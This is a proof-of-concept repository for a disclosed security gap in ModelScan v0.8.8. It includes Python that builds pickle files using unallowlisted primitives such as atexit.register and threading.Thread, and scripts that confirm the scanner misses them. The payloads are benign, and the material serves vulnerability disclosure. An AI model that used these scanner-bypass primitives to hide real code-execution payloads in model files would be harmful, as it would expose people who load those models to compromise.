A1-S1: ModelScan additional unsafe_globals primitives PoC
Browse files- R2_A1-02_methodcaller.pkl +3 -0
- R2_A1-05_partial.pkl +3 -0
- R2_A1-07_atexit.pkl +3 -0
- R2_A1-09_threading.pkl +3 -0
- README.md +55 -0
- build_pocs.py +230 -0
- positive_control.pkl +3 -0
- repro.py +37 -0
R2_A1-02_methodcaller.pkl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:952adc4520b2999f2566b4dbd01daea751b5be1730e1acfa4810771e6ab26139
|
| 3 |
+
size 52
|
R2_A1-05_partial.pkl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:8cb92efd3771caf0f2e5b1fe88e3c478fa6aaf54ee9f48158d2e5238385e2ae2
|
| 3 |
+
size 66
|
R2_A1-07_atexit.pkl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:c4484750fa55fe6f616b02a7f651ebd9e7c1d33e83897ee5812a82d7315b0baf
|
| 3 |
+
size 73
|
R2_A1-09_threading.pkl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:094530a980f6286620e38f6ac4f3082eab0b3a9f4e706ffaa25bd667fcfbc251
|
| 3 |
+
size 38
|
README.md
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: cc-by-4.0
|
| 3 |
+
tags:
|
| 4 |
+
- security
|
| 5 |
+
- poc
|
| 6 |
+
- modelscan
|
| 7 |
+
---
|
| 8 |
+
|
| 9 |
+
# ModelScan v0.8.8 additional unsafe_globals primitives
|
| 10 |
+
|
| 11 |
+
Proof-of-concept pickle files demonstrating that ModelScan's `unsafe_globals`
|
| 12 |
+
allowlist omits four additional code-execution primitives beyond those already
|
| 13 |
+
disclosed in issues #338, #331, and PR #339 on `protectai/modelscan`:
|
| 14 |
+
|
| 15 |
+
- `operator.methodcaller`
|
| 16 |
+
- `functools.partial`
|
| 17 |
+
- `atexit.register`
|
| 18 |
+
- `threading.Thread`
|
| 19 |
+
|
| 20 |
+
**These pickle files are intentionally malicious for demonstration purposes.**
|
| 21 |
+
Do not load any of them on a system you care about. Each file contains a
|
| 22 |
+
minimal `__reduce__`-shaped payload referencing one of the four primitives.
|
| 23 |
+
|
| 24 |
+
See the huntr submission for the detailed Description.
|
| 25 |
+
|
| 26 |
+
## Reproduction
|
| 27 |
+
|
| 28 |
+
```bash
|
| 29 |
+
python -m venv venv
|
| 30 |
+
# Windows:
|
| 31 |
+
. venv/Scripts/activate
|
| 32 |
+
# POSIX:
|
| 33 |
+
. venv/bin/activate
|
| 34 |
+
|
| 35 |
+
pip install modelscan==0.8.8
|
| 36 |
+
git clone https://huggingface.co/askeladd-k/modelscan-additional-primitives poc
|
| 37 |
+
cd poc
|
| 38 |
+
python repro.py
|
| 39 |
+
```
|
| 40 |
+
|
| 41 |
+
### Expected output
|
| 42 |
+
|
| 43 |
+
```
|
| 44 |
+
R2_A1-02_methodcaller.pkl: total_issues=0 [BYPASSED (gap)]
|
| 45 |
+
R2_A1-05_partial.pkl: total_issues=0 [BYPASSED (gap)]
|
| 46 |
+
R2_A1-07_atexit.pkl: total_issues=0 [BYPASSED (gap)]
|
| 47 |
+
R2_A1-09_threading.pkl: total_issues=0 [BYPASSED (gap)]
|
| 48 |
+
positive_control.pkl: total_issues=1 [FLAGGED (positive control)]
|
| 49 |
+
```
|
| 50 |
+
|
| 51 |
+
## AI disclosure
|
| 52 |
+
|
| 53 |
+
These proof-of-concept files were generated with AI-assisted analysis and
|
| 54 |
+
manually verified in a clean environment against vanilla
|
| 55 |
+
`pip install modelscan==0.8.8`.
|
build_pocs.py
ADDED
|
@@ -0,0 +1,230 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
R2 fixture: validate Claude+Codex AGREE-1 (allowlist is too narrow).
|
| 3 |
+
|
| 4 |
+
Method: build pickles that use UNALLOWLISTED primitives to demonstrate ModelScan
|
| 5 |
+
fails to flag them. We test multiple primitives separately so we can credit each
|
| 6 |
+
to the corresponding gap candidate.
|
| 7 |
+
|
| 8 |
+
Each test produces a pickle whose collected globals are entirely unallowlisted.
|
| 9 |
+
If ModelScan reports zero issues on a given pickle, that's confirmation of the
|
| 10 |
+
specific gap.
|
| 11 |
+
|
| 12 |
+
Primitives tested:
|
| 13 |
+
- A1-01: builtins.type (Claude pass)
|
| 14 |
+
- A1-02: operator.methodcaller (Claude pass)
|
| 15 |
+
- A1-03: importlib.import_module (Claude pass)
|
| 16 |
+
- A1-05: functools.partial (Claude pass)
|
| 17 |
+
- A1-07: atexit.register (Claude pass)
|
| 18 |
+
- A1-09: threading.Thread (Claude pass)
|
| 19 |
+
- CDX-02: marshal.loads + types.FunctionType (Codex pass)
|
| 20 |
+
- CDX-03: ctypes.CDLL (Codex pass)
|
| 21 |
+
"""
|
| 22 |
+
import builtins
|
| 23 |
+
import json
|
| 24 |
+
import os
|
| 25 |
+
import pickle
|
| 26 |
+
import subprocess
|
| 27 |
+
import sys
|
| 28 |
+
from pathlib import Path
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
HERE = Path(__file__).resolve().parent
|
| 32 |
+
|
| 33 |
+
|
| 34 |
+
# ---------------------------------------------------------------------------
|
| 35 |
+
# Build pickles using each unallowlisted primitive.
|
| 36 |
+
# Each __reduce__ returns (callable, args) where `callable` is the targeted
|
| 37 |
+
# unallowlisted primitive. The pickle's collected globals will include
|
| 38 |
+
# (callable.__module__, callable.__qualname__) — this is what ModelScan scans.
|
| 39 |
+
# ---------------------------------------------------------------------------
|
| 40 |
+
|
| 41 |
+
|
| 42 |
+
class TypeReduce:
|
| 43 |
+
"""A1-01: builtins.type — pyjail-escape primitive."""
|
| 44 |
+
|
| 45 |
+
def __reduce__(self):
|
| 46 |
+
return (type, ("X", (object,), {}))
|
| 47 |
+
|
| 48 |
+
|
| 49 |
+
class MethodcallerReduce:
|
| 50 |
+
"""A1-02: operator.methodcaller — symmetric to allowlisted attrgetter."""
|
| 51 |
+
|
| 52 |
+
def __reduce__(self):
|
| 53 |
+
import operator
|
| 54 |
+
|
| 55 |
+
return (operator.methodcaller, ("upper",))
|
| 56 |
+
|
| 57 |
+
|
| 58 |
+
class ImportlibReduce:
|
| 59 |
+
"""A1-03: importlib.import_module — bypasses builtins.__import__ allowlist."""
|
| 60 |
+
|
| 61 |
+
def __reduce__(self):
|
| 62 |
+
import importlib
|
| 63 |
+
|
| 64 |
+
return (importlib.import_module, ("io",))
|
| 65 |
+
|
| 66 |
+
|
| 67 |
+
class PartialReduce:
|
| 68 |
+
"""A1-05: functools.partial — generic callable wrapper."""
|
| 69 |
+
|
| 70 |
+
def __reduce__(self):
|
| 71 |
+
import functools
|
| 72 |
+
|
| 73 |
+
return (functools.partial, (str, "test"))
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
class AtexitReduce:
|
| 77 |
+
"""A1-07: atexit.register — deferred RCE primitive."""
|
| 78 |
+
|
| 79 |
+
def __reduce__(self):
|
| 80 |
+
import atexit
|
| 81 |
+
|
| 82 |
+
# Benign callback for fixture purposes (registers print, not os.system).
|
| 83 |
+
# The point: detecting that atexit.register is callable at unpickle time.
|
| 84 |
+
return (atexit.register, (print, "atexit_test"))
|
| 85 |
+
|
| 86 |
+
|
| 87 |
+
class ThreadingReduce:
|
| 88 |
+
"""A1-09: threading.Thread — async RCE primitive."""
|
| 89 |
+
|
| 90 |
+
def __reduce__(self):
|
| 91 |
+
import threading
|
| 92 |
+
|
| 93 |
+
# Construct a Thread with a benign target. Fixture goal is opcode-level
|
| 94 |
+
# detection, not execution semantics.
|
| 95 |
+
return (threading.Thread, ())
|
| 96 |
+
|
| 97 |
+
|
| 98 |
+
class MarshalReduce:
|
| 99 |
+
"""CDX-02: marshal.loads as the reduce callable.
|
| 100 |
+
|
| 101 |
+
Simpler than the full FunctionType chain — just demonstrates marshal.loads
|
| 102 |
+
is callable at unpickle time and not flagged. The bytes arg is a marshaled
|
| 103 |
+
code object; calling marshal.loads(bytes) returns the code object.
|
| 104 |
+
"""
|
| 105 |
+
|
| 106 |
+
def __reduce__(self):
|
| 107 |
+
import marshal
|
| 108 |
+
|
| 109 |
+
code_obj = compile("None", "<exploit>", "exec")
|
| 110 |
+
marshaled = marshal.dumps(code_obj)
|
| 111 |
+
return (marshal.loads, (marshaled,))
|
| 112 |
+
|
| 113 |
+
|
| 114 |
+
class CtypesReduce:
|
| 115 |
+
"""CDX-03: ctypes.CDLL — native library loading primitive."""
|
| 116 |
+
|
| 117 |
+
def __reduce__(self):
|
| 118 |
+
import ctypes
|
| 119 |
+
|
| 120 |
+
# Reference ctypes.CDLL. The constructor will fail at unpickle time
|
| 121 |
+
# because the library name does not exist, but that failure occurs
|
| 122 |
+
# AFTER pickle collects the GLOBAL ref. We want to check whether
|
| 123 |
+
# ModelScan flags the GLOBAL ref to ctypes.CDLL statically.
|
| 124 |
+
return (ctypes.CDLL, ("non_existent_lib_for_fixture",))
|
| 125 |
+
|
| 126 |
+
|
| 127 |
+
# ---------------------------------------------------------------------------
|
| 128 |
+
# Run each pickle through modelscan and collect verdicts.
|
| 129 |
+
# ---------------------------------------------------------------------------
|
| 130 |
+
|
| 131 |
+
|
| 132 |
+
def write_pickle(obj, name: str) -> Path:
|
| 133 |
+
out = HERE / f"R2_{name}.pkl"
|
| 134 |
+
out.write_bytes(pickle.dumps(obj))
|
| 135 |
+
return out
|
| 136 |
+
|
| 137 |
+
|
| 138 |
+
def run_modelscan(target: Path) -> dict:
|
| 139 |
+
modelscan_exe = Path(sys.executable).parent / "modelscan.exe"
|
| 140 |
+
result = subprocess.run(
|
| 141 |
+
[str(modelscan_exe), "-p", str(target), "--reporting-format", "json"],
|
| 142 |
+
capture_output=True,
|
| 143 |
+
text=True,
|
| 144 |
+
)
|
| 145 |
+
stdout = result.stdout
|
| 146 |
+
if "{" not in stdout:
|
| 147 |
+
return {
|
| 148 |
+
"raw_stdout": stdout,
|
| 149 |
+
"raw_stderr": result.stderr,
|
| 150 |
+
"exit_code": result.returncode,
|
| 151 |
+
"parse_error": "no JSON in stdout",
|
| 152 |
+
}
|
| 153 |
+
json_start = stdout.find("{")
|
| 154 |
+
json_end = stdout.rfind("}") + 1
|
| 155 |
+
json_blob = stdout[json_start:json_end]
|
| 156 |
+
json_blob_clean = json_blob.replace("\n", "").replace("\r", "")
|
| 157 |
+
try:
|
| 158 |
+
return {
|
| 159 |
+
"parsed": json.loads(json_blob_clean),
|
| 160 |
+
"raw_stderr": result.stderr,
|
| 161 |
+
"exit_code": result.returncode,
|
| 162 |
+
}
|
| 163 |
+
except json.JSONDecodeError as e:
|
| 164 |
+
return {
|
| 165 |
+
"raw_stdout": stdout,
|
| 166 |
+
"raw_stderr": result.stderr,
|
| 167 |
+
"exit_code": result.returncode,
|
| 168 |
+
"parse_error": str(e),
|
| 169 |
+
}
|
| 170 |
+
|
| 171 |
+
|
| 172 |
+
def issues_in(result: dict) -> list:
|
| 173 |
+
if "parsed" not in result:
|
| 174 |
+
return []
|
| 175 |
+
return result["parsed"].get("issues") or []
|
| 176 |
+
|
| 177 |
+
|
| 178 |
+
def main() -> int:
|
| 179 |
+
cases = [
|
| 180 |
+
("A1-01_type", TypeReduce()),
|
| 181 |
+
("A1-02_methodcaller", MethodcallerReduce()),
|
| 182 |
+
("A1-03_importlib", ImportlibReduce()),
|
| 183 |
+
("A1-05_partial", PartialReduce()),
|
| 184 |
+
("A1-07_atexit", AtexitReduce()),
|
| 185 |
+
("A1-09_threading", ThreadingReduce()),
|
| 186 |
+
("CDX-02_marshal_types", MarshalReduce()),
|
| 187 |
+
("CDX-03_ctypes", CtypesReduce()),
|
| 188 |
+
]
|
| 189 |
+
|
| 190 |
+
verdicts = []
|
| 191 |
+
for name, obj in cases:
|
| 192 |
+
path = write_pickle(obj, name)
|
| 193 |
+
result = run_modelscan(path)
|
| 194 |
+
n_issues = len(issues_in(result))
|
| 195 |
+
bypass = n_issues == 0
|
| 196 |
+
verdicts.append((name, path.name, bypass, n_issues, result))
|
| 197 |
+
print(f"[R2] {name}: {'BYPASS' if bypass else 'FLAGGED'} ({n_issues} issues)")
|
| 198 |
+
|
| 199 |
+
print("\n=== R2 VERDICT ===")
|
| 200 |
+
bypass_count = sum(1 for _, _, b, _, _ in verdicts if b)
|
| 201 |
+
flagged_count = len(verdicts) - bypass_count
|
| 202 |
+
print(f"{bypass_count} primitives BYPASSED, {flagged_count} primitives FLAGGED")
|
| 203 |
+
print()
|
| 204 |
+
print("BYPASSED (confirms gap):")
|
| 205 |
+
for name, path, bypass, n_issues, _result in verdicts:
|
| 206 |
+
if bypass:
|
| 207 |
+
print(f" - {name} ({path})")
|
| 208 |
+
print()
|
| 209 |
+
print("FLAGGED (gap not present for this primitive):")
|
| 210 |
+
for name, path, bypass, n_issues, _result in verdicts:
|
| 211 |
+
if not bypass:
|
| 212 |
+
print(f" - {name} ({path}) -> {n_issues} issues")
|
| 213 |
+
|
| 214 |
+
# Write structured results
|
| 215 |
+
summary = {
|
| 216 |
+
"cases": [
|
| 217 |
+
{"name": name, "path": path, "bypass": bypass, "n_issues": n_issues}
|
| 218 |
+
for name, path, bypass, n_issues, _result in verdicts
|
| 219 |
+
],
|
| 220 |
+
"bypass_count": bypass_count,
|
| 221 |
+
"flagged_count": flagged_count,
|
| 222 |
+
}
|
| 223 |
+
(HERE / "R2_summary.json").write_text(json.dumps(summary, indent=2))
|
| 224 |
+
print(f"\nWrote summary -> {HERE / 'R2_summary.json'}")
|
| 225 |
+
|
| 226 |
+
return 0
|
| 227 |
+
|
| 228 |
+
|
| 229 |
+
if __name__ == "__main__":
|
| 230 |
+
sys.exit(main())
|
positive_control.pkl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:707ca6594823f5eae1e58fc37cda7943d019f73a8f07f947532f2a477a2315bd
|
| 3 |
+
size 56
|
repro.py
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""Reproduce ModelScan v0.8.8 bypass on the four PoC pickle files.
|
| 3 |
+
|
| 4 |
+
Expected: 4 PoCs report total_issues=0; positive_control reports total_issues=1.
|
| 5 |
+
"""
|
| 6 |
+
import json
|
| 7 |
+
import subprocess
|
| 8 |
+
import sys
|
| 9 |
+
from pathlib import Path
|
| 10 |
+
|
| 11 |
+
modelscan = Path(sys.executable).parent / (
|
| 12 |
+
"modelscan.exe" if sys.platform == "win32" else "modelscan"
|
| 13 |
+
)
|
| 14 |
+
if not modelscan.exists():
|
| 15 |
+
raise RuntimeError(
|
| 16 |
+
f"modelscan not found at {modelscan}. "
|
| 17 |
+
f"Run `pip install modelscan==0.8.8` in this venv first."
|
| 18 |
+
)
|
| 19 |
+
|
| 20 |
+
for poc in sorted(Path(".").glob("*.pkl")):
|
| 21 |
+
result = subprocess.run(
|
| 22 |
+
[str(modelscan), "-p", str(poc), "--reporting-format", "json"],
|
| 23 |
+
capture_output=True,
|
| 24 |
+
text=True,
|
| 25 |
+
)
|
| 26 |
+
stdout = result.stdout
|
| 27 |
+
if "{" not in stdout:
|
| 28 |
+
print(f"{poc.name}: PARSE-FAILED")
|
| 29 |
+
continue
|
| 30 |
+
blob = stdout[stdout.find("{"):stdout.rfind("}")+1].replace("\n", "").replace("\r", "")
|
| 31 |
+
data = json.loads(blob)
|
| 32 |
+
total = data["summary"]["total_issues"]
|
| 33 |
+
label = (
|
| 34 |
+
"FLAGGED (positive control)" if poc.name == "positive_control.pkl"
|
| 35 |
+
else "BYPASSED (gap)"
|
| 36 |
+
)
|
| 37 |
+
print(f"{poc.name}: total_issues={total} [{label}]")
|